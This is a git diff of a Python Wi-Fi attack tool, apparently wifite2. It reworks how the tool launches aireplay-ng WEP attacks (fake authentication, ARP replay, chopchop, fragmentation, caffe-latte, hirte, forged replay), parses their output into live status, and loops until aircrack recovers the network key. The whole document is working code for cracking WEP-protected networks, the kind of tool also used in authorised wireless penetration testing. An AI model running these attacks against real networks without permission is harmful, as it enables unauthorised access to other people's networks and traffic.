diff --git a/py/Aireplay.py b/py/Aireplay.py index 03a775b..b97815f 100644 --- a/py/Aireplay.py +++ b/py/Aireplay.py @@ -3,8 +3,10 @@ from Configuration import Configuration from Process import Process +from Timer import Timer -import os, time +import os, time, re +from threading import Thread class WEPAttackType(object): ''' Enumeration of different WEP attack types ''' @@ -52,36 +54,31 @@ class WEPAttackType(object): return self.name -class Aireplay(object): - def __init__(self, target, attack_type, client_mac=None, replay_file=None, devnull=False): +class Aireplay(Thread): + def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. Args: target - Instance of Target object, AP to attack. - attack_type - int, str, or WEPAttackType instance. + attack_type - str, e.g. "fakeauth", "arpreplay", etc. client_mac - MAC address of an associated client. ''' - cmd = Aireplay.get_aireplay_command(target, + super(Aireplay, self).__init__() # Init the parent Thread + + self.target = target + self.output_file = Configuration.temp("aireplay_%s.output" % attack_type) + self.attack_type = WEPAttackType(attack_type).value + self.error = None + self.status = None + self.cmd = Aireplay.get_aireplay_command(self.target, attack_type, client_mac=client_mac, replay_file=replay_file) - - # TODO: set 'stdout' when creating process to store output to file. - # AttackWEP will read file to get status of attack. - # E.g., chopchop will regex "\(\s?(\d+)% done" to get percent complete. - ''' - if not devnull and attack_type == WEPAttackType.chopchop: - sout = open(Configuration.temp('chopchop.out'), 'w') - # Output sample: - # Offset 70 (11% done) | xor = 7A | pt = 00 | 24 frames written in 409ms - else: - sout = Process.devnull() - serr = Process.devnull() - ''' - - self.pid = Process(cmd, - devnull=devnull, - cwd=Configuration.temp()) + self.pid = Process(self.cmd, + stdout=open(self.output_file, 'a'), + stderr=Process.devnull(), + cwd=Configuration.temp()) + self.start() def is_running(self): return self.pid.poll() == None @@ -95,6 +92,85 @@ class Aireplay(object): ''' Returns stdout from aireplay process ''' return self.pid.stdout() + def run(self): + while self.pid.poll() is None: + time.sleep(0.1) + if not os.path.exists(self.output_file): continue + # Read output file + f = open(self.output_file, "r") + lines = f.read() + f.close() + # Clear output file + f = open(self.output_file, "w") + f.write("") + f.close() + for line in lines.split("\n"): + line = line.replace("\r", "").strip() + if line == "": continue + if "Notice: got a deauth/disassoc packet" in line: + self.error = "Not associated (needs fakeauth)" + + if self.attack_type == WEPAttackType.fakeauth: + # Look for fakeauth status. Potential Output lines: + # (START): 00:54:58 Sending Authentication Request (Open System) + if "Sending Authentication Request " in line: + self.status = None # Reset + # (????): Please specify an ESSID (-e). + elif "Please specify an ESSID" in line: + self.status = None + # (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds) + elif "Got a deauthentication packet!" in line: + self.status = False + # (PASS): 20:17:25 Association successful :-) (AID: 1) + # (PASS): 20:18:55 Reassociation successful :-) (AID: 1) + elif "association successful :-)" in line.lower(): + self.status = True + elif self.attack_type == WEPAttackType.chopchop: + # Look for chopchop status. Potential output lines: + # (START) Read 178 packets... + read_re = re.compile(r"Read (\d+) packets") + matches = read_re.match(line) + if matches: + self.status = "Waiting for packet (read %s)..." % matches.group(1) + # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms + offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)") + matches = offset_re.match(line) + if matches: + self.status = "Generating Xor (%s)" % matches.group(1) + # (DONE) Saving keystream in replay_dec-0516-202246.xor + saving_re = re.compile(r"Saving keystream in (.*\.xor)") + matches = saving_re.match(line) + if matches: + self.status = matches.group(1) + pass + elif self.attack_type == WEPAttackType.fragment: + # TODO: Parse fragment output, update self.status + # 01:08:15 Waiting for a data packet... + # 01:08:17 Sending fragmented packet + # 01:08:37 Still nothing, trying another packet... + # XX:XX:XX Trying to get 1500 bytes of a keystream + # XX:XX:XX Got RELAYED packet!! + # XX:XX:XX Thats our ARP packet! + # XX:XX:XX Saving keystream in fragment-0124-161129.xor + # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream + pass + else: # Replay, forged replay, etc. + # Parse Packets Sent & PacketsPerSecond. Possible output lines: + # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) + # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps) + read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)") + matches = read_re.match(line) + if matches: + pps = matches.group(5) + if pps == "0": + self.status = "Waiting for packet..." + else: + self.status = "Replaying packet @ %s/sec" % pps + pass + + def __del__(self): + self.stop() + @staticmethod def get_aireplay_command(target, attack_type, client_mac=None, replay_file=None): @@ -112,8 +188,8 @@ class Aireplay(object): if Configuration.interface == None: raise Exception("Wireless interface must be defined (-i)") - cmd = ['aireplay-ng'] - cmd.append('--ignore-negative-one') + cmd = ["aireplay-ng"] + cmd.append("--ignore-negative-one") if not client_mac and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. @@ -124,72 +200,86 @@ class Aireplay(object): attack_type = WEPAttackType(attack_type).value if attack_type == WEPAttackType.fakeauth: - cmd.extend(['-1', '0']) # Fake auth, no delay - cmd.extend(['-a', target.bssid]) - cmd.extend(['-T', '3']) # Make 3 attempts + cmd.extend([ + "--fakeauth", "30", # Fake auth every 30 seconds + "-Q", # Send re-association packets + "-a", target.bssid + ]) if target.essid_known: - cmd.extend(['-e', target.essid]) - # Do not specify client MAC address, - # we're trying to fake-authenticate using *our* MAC - + cmd.extend(["-e", target.essid]) elif attack_type == WEPAttackType.replay: - cmd.append('--arpreplay') - cmd.extend(['-b', target.bssid]) - cmd.extend(['-x', str(Configuration.wep_pps)]) + cmd.extend([ + "--arpreplay", + "-b", target.bssid, + "-x", str(Configuration.wep_pps) + ]) if client_mac: - cmd.extend(['-h', client_mac]) + cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.chopchop: - cmd.append('--chopchop') - cmd.extend(['-b', target.bssid]) - cmd.extend(['-x', str(Configuration.wep_pps)]) - cmd.extend(['-m', '60']) # Minimum packet length (bytes) - cmd.extend(['-n', '82']) # Maximum packet length - cmd.extend(['-F']) # Automatically choose first packet + cmd.extend([ + "--chopchop", + "-b", target.bssid, + "-x", str(Configuration.wep_pps), + #"-m", "60", # Minimum packet length (bytes) + #"-n", "82", # Maximum packet length + "-F" # Automatically choose first packet + ]) if client_mac: - cmd.extend(['-h', client_mac]) + cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.fragment: - cmd.append('--fragment') - cmd.extend(['-b', target.bssid]) - cmd.extend(['-x', str(Configuration.wep_pps)]) - cmd.extend(['-m', '100']) # Minimum packet length (bytes) - cmd.extend(['-F']) # Automatically choose first packet + cmd.extend([ + "--fragment", + "-b", target.bssid, + "-x", str(Configuration.wep_pps), + "-m", "100", # Minimum packet length (bytes) + "-F" # Automatically choose first packet + ]) if client_mac: - cmd.extend(['-h', client_mac]) + cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.caffelatte: - cmd.append('--caffe-latte') - cmd.extend(['-b', target.bssid]) - if client_mac: - cmd.extend(['-h', client_mac]) + if len(target.clients) == 0: + # Unable to carry out caffe-latte attack + raise Exception("Client is required for caffe-latte attack") + cmd.extend([ + "--caffe-latte", + "-b", target.bssid, + "-h", target.clients[0].station + ]) elif attack_type == WEPAttackType.p0841: - cmd.append('--arpreplay') - cmd.extend(['-b', target.bssid]) - cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff']) - cmd.extend(['-x', str(Configuration.wep_pps)]) - cmd.extend(['-F']) # Automatically choose first packet - cmd.extend(['-p', '0841']) + cmd.extend([ + "--arpreplay", + "-b", target.bssid, + "-c", "ff:ff:ff:ff:ff:ff", + "-x", str(Configuration.wep_pps), + "-F", # Automatically choose first packet + "-p", "0841" + ]) if client_mac: - cmd.extend(['-h', client_mac]) + cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.hirte: if client_mac == None: # Unable to carry out hirte attack raise Exception("Client is required for hirte attack") - cmd.append('--cfrag') - cmd.extend(['-h', client_mac]) + cmd.extend([ + "--cfrag", + "-h", client_mac + ]) elif attack_type == WEPAttackType.forgedreplay: if client_mac == None or replay_file == None: - raise Exception( - "Client_mac and Replay_File are required for arp replay") - cmd.append('--arpreplay') - cmd.extend(['-b', target.bssid]) - cmd.extend(['-h', client_mac]) - cmd.extend(['-r', replay_file]) - cmd.extend(['-F']) # Automatically choose first packet - cmd.extend(['-x', str(Configuration.wep_pps)]) + raise Exception("Client_mac and Replay_File are required for arp replay") + cmd.extend([ + "--arpreplay", + "-b", target.bssid, + "-h", client_mac, + "-r", replay_file, + "-F", # Automatically choose first packet + "-x", str(Configuration.wep_pps) + ]) else: raise Exception("Unexpected attack type: %s" % attack_type) @@ -250,6 +340,40 @@ class Aireplay(object): proc.interrupt() time.sleep(0.2) + @staticmethod + def fakeauth(target, timeout=5, num_attempts=3): + ''' + Tries a one-time fake-authenticate with a target AP. + Params: + target (py.Target): Instance of py.Target + timeout (int): Time to wait for fakeuth to succeed. + num_attempts (int): Number of fakeauth attempts to make. + Returns: + (bool): True if fakeauth succeeds, otherwise False + ''' + + cmd = [ + 'aireplay-ng', + '-1', '0', # Fake auth, no delay + '-a', target.bssid, + '-T', str(num_attempts) + ] + if target.essid_known: + cmd.extend(['-e', target.essid]) + cmd.append(Configuration.interface) + fakeauth_proc = Process(cmd, + devnull=False, + cwd=Configuration.temp()) + + timer = Timer(timeout) + while fakeauth_proc.poll() is None and not timer.ended(): + time.sleep(0.1) + if fakeauth_proc.poll() is None or timer.ended(): + fakeauth_proc.interrupt() + return False + output = fakeauth_proc.stdout() + return 'association successful' in output.lower() + if __name__ == '__main__': t = WEPAttackType(4) print t.name, type(t.name), t.value @@ -263,9 +387,6 @@ if __name__ == '__main__': fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') t = Target(fields) - cmd = Aireplay.get_aireplay_command(t, 'fakeauth') - print ' '.join(['"%s"' % a for a in cmd]) - ''' aireplay = Aireplay(t, 'replay') while aireplay.is_running(): diff --git a/py/AttackWEP.py b/py/AttackWEP.py index 6bcd4b8..d4e6a5b 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -32,6 +32,8 @@ class AttackWEP(Attack): ''' aircrack = None # Aircrack process, not started yet + fakeauth_proc = None + replay_file = None attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: @@ -49,29 +51,31 @@ class AttackWEP(Attack): Color.p('\r{+} {O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) + fakeauth_proc = None if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. client_mac = Interface.get_mac() + # Keep us authenticated + #fakeauth_proc = Aireplay(self.target, "fakeauth") elif len(airodump_target.clients) == 0: - # There are no associated clients. Warn user. + # Failed to fakeauth, can't use our MAC. + # And there are no associated clients. Use one and tell the user. Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + ' without fake-authentication or associated clients{W}') client_mac = None else: + # Fakeauth failed, but we can re-use an existing client client_mac = airodump_target.clients[0].station # Convert to WEPAttackType. wep_attack_type = WEPAttackType(attack_name) - replay_file = None # Start Aireplay process. - aireplay = Aireplay(self.target, \ - wep_attack_type, \ - client_mac=client_mac, \ - devnull=True, - replay_file=replay_file) + aireplay = Aireplay(self.target, + wep_attack_type, + client_mac=client_mac) time_unchanged_ivs = time.time() # Timestamp when IVs last changed previous_ivs = 0 @@ -80,8 +84,22 @@ class AttackWEP(Attack): while True: airodump_target = self.wait_for_target(airodump) - Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs) - #Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs)) + status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) + ''' + if fakeauth_proc and fakeauth_proc.status: + status += ", {G}fakeauth{W}" + else: + status += ", {R}no-auth{W}" + ''' + if aireplay.status is not None: + status += ", %s" % aireplay.status + Color.clear_entire_line() + Color.pattack("WEP", + airodump_target, + "%s attack" % attack_name, + status) + + #self.aircrack_check() # Check if we cracked it. if aircrack and aircrack.is_cracked(): @@ -93,19 +111,17 @@ class AttackWEP(Attack): essid = None Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) - if aireplay: - aireplay.stop() - self.crack_result = CrackResultWEP(bssid, \ - essid, \ - hex_key, \ - ascii_key) + if aireplay: aireplay.stop() + if fakeauth_proc: fakeauth_proc.stop() + self.crack_result = CrackResultWEP(self.target.bssid, + self.target.essid, hex_key, ascii_key) self.crack_result.dump() self.success = True return self.success if aircrack and aircrack.is_running(): # Aircrack is running in the background. - Color.p('and {C}cracking{W}') + Color.p("and {C}cracking{W}") # Check number of IVs, crack if necessary if airodump_target.ivs > Configuration.wep_crack_at_ivs: @@ -118,27 +134,25 @@ class AttackWEP(Attack): # Aircrack stopped running. Color.pl('\n{!} {O}aircrack stopped running!{W}') ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('{+} {C}aircrack{W} stopped,' + - ' restarting {C}aircrack{W}') + Color.pl('{+} {C}aircrack{W} stopped, restarting...') + self.fake_auth() aircrack = Aircrack(ivs_file) - elif aircrack.is_running() and \ - Configuration.wep_restart_aircrack > 0: + elif Configuration.wep_restart_aircrack > 0 and \ + aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds - if aircrack.pid.running_time() > Configuration.wep_restart_aircrack: - aircrack.stop() - ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('\n{+} {C}aircrack{W} ran for more than' + - ' {C}%d{W} seconds, restarting' - % Configuration.wep_restart_aircrack) - aircrack = Aircrack(ivs_file) + aircrack.stop() + ivs_file = airodump.find_files(endswith='.ivs')[0] + Color.pl('\n{+} {C}aircrack{W} ran for more than' + + ' {C}%d{W} seconds, restarting' + % Configuration.wep_restart_aircrack) + aircrack = Aircrack(ivs_file) if not aireplay.is_running(): # Some Aireplay attacks loop infinitely if attack_name == 'chopchop' or attack_name == 'fragment': - # We expect these to stop once a .xor is created, - # or if the process failed. + # We expect these to stop once a .xor is created, or if the process failed. replay_file = None @@ -167,7 +181,6 @@ class AttackWEP(Attack): aireplay = Aireplay(self.target, 'forgedreplay', client_mac=client_mac, - devnull=True, replay_file=replay_file) continue else: @@ -195,7 +208,6 @@ class AttackWEP(Attack): aireplay = Aireplay(self.target, \ wep_attack_type, \ client_mac=client_mac, \ - devnull=True, replay_file=replay_file) time_unchanged_ivs = time.time() previous_ivs = airodump_target.ivs @@ -205,6 +217,7 @@ class AttackWEP(Attack): # End of big while loop # End of with-airodump except KeyboardInterrupt: + if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: self.success = False return self.success @@ -275,25 +288,8 @@ class AttackWEP(Attack): Returns: True if successful, False is unsuccesful. ''' - Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' - % self.target.bssid) - start_time = time.time() - aireplay = Aireplay(self.target, 'fakeauth') - process_failed = False - while aireplay.is_running(): - if int(time.time() - start_time) > AttackWEP.fakeauth_wait: - aireplay.stop() - process_failed = True - break - time.sleep(0.1) - - # Check if fake-auth was successful - if process_failed: - fakeauth = False - else: - output = aireplay.get_output() - fakeauth = 'association successful' in output.lower() - + Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid) + fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait) if fakeauth: Color.pl(' {G}success{W}') else: diff --git a/py/Process.py b/py/Process.py index a36d91a..3b510b7 100644 --- a/py/Process.py +++ b/py/Process.py @@ -102,6 +102,12 @@ class Process(object): Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.split('\n'))) return self.err + def stdoutln(self): + return self.pid.stdout.readline() + + def stderrln(self): + return self.pid.stderr.readline() + def get_output(self): ''' Waits for process to finish, sets stdout & stderr ''' if self.pid.poll() == None: diff --git a/py/Target.py b/py/Target.py index f26bcc9..b743d3e 100644 --- a/py/Target.py +++ b/py/Target.py @@ -53,7 +53,7 @@ class Target(object): self.essid = fields[13].strip() if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '': # Don't display "\x00..." for hidden ESSIDs - self.essid = '(%s)' % self.bssid + self.essid = None # '(%s)' % self.bssid self.essid_known = False self.wps = None @@ -68,7 +68,7 @@ class Target(object): ''' max_essid_len = 25 - essid = self.essid + essid = self.essid if self.essid_known else "(%s)" % self.bssid # Trim ESSID (router name) if needed if len(essid) > max_essid_len: essid = essid[0:max_essid_len-3] + '...'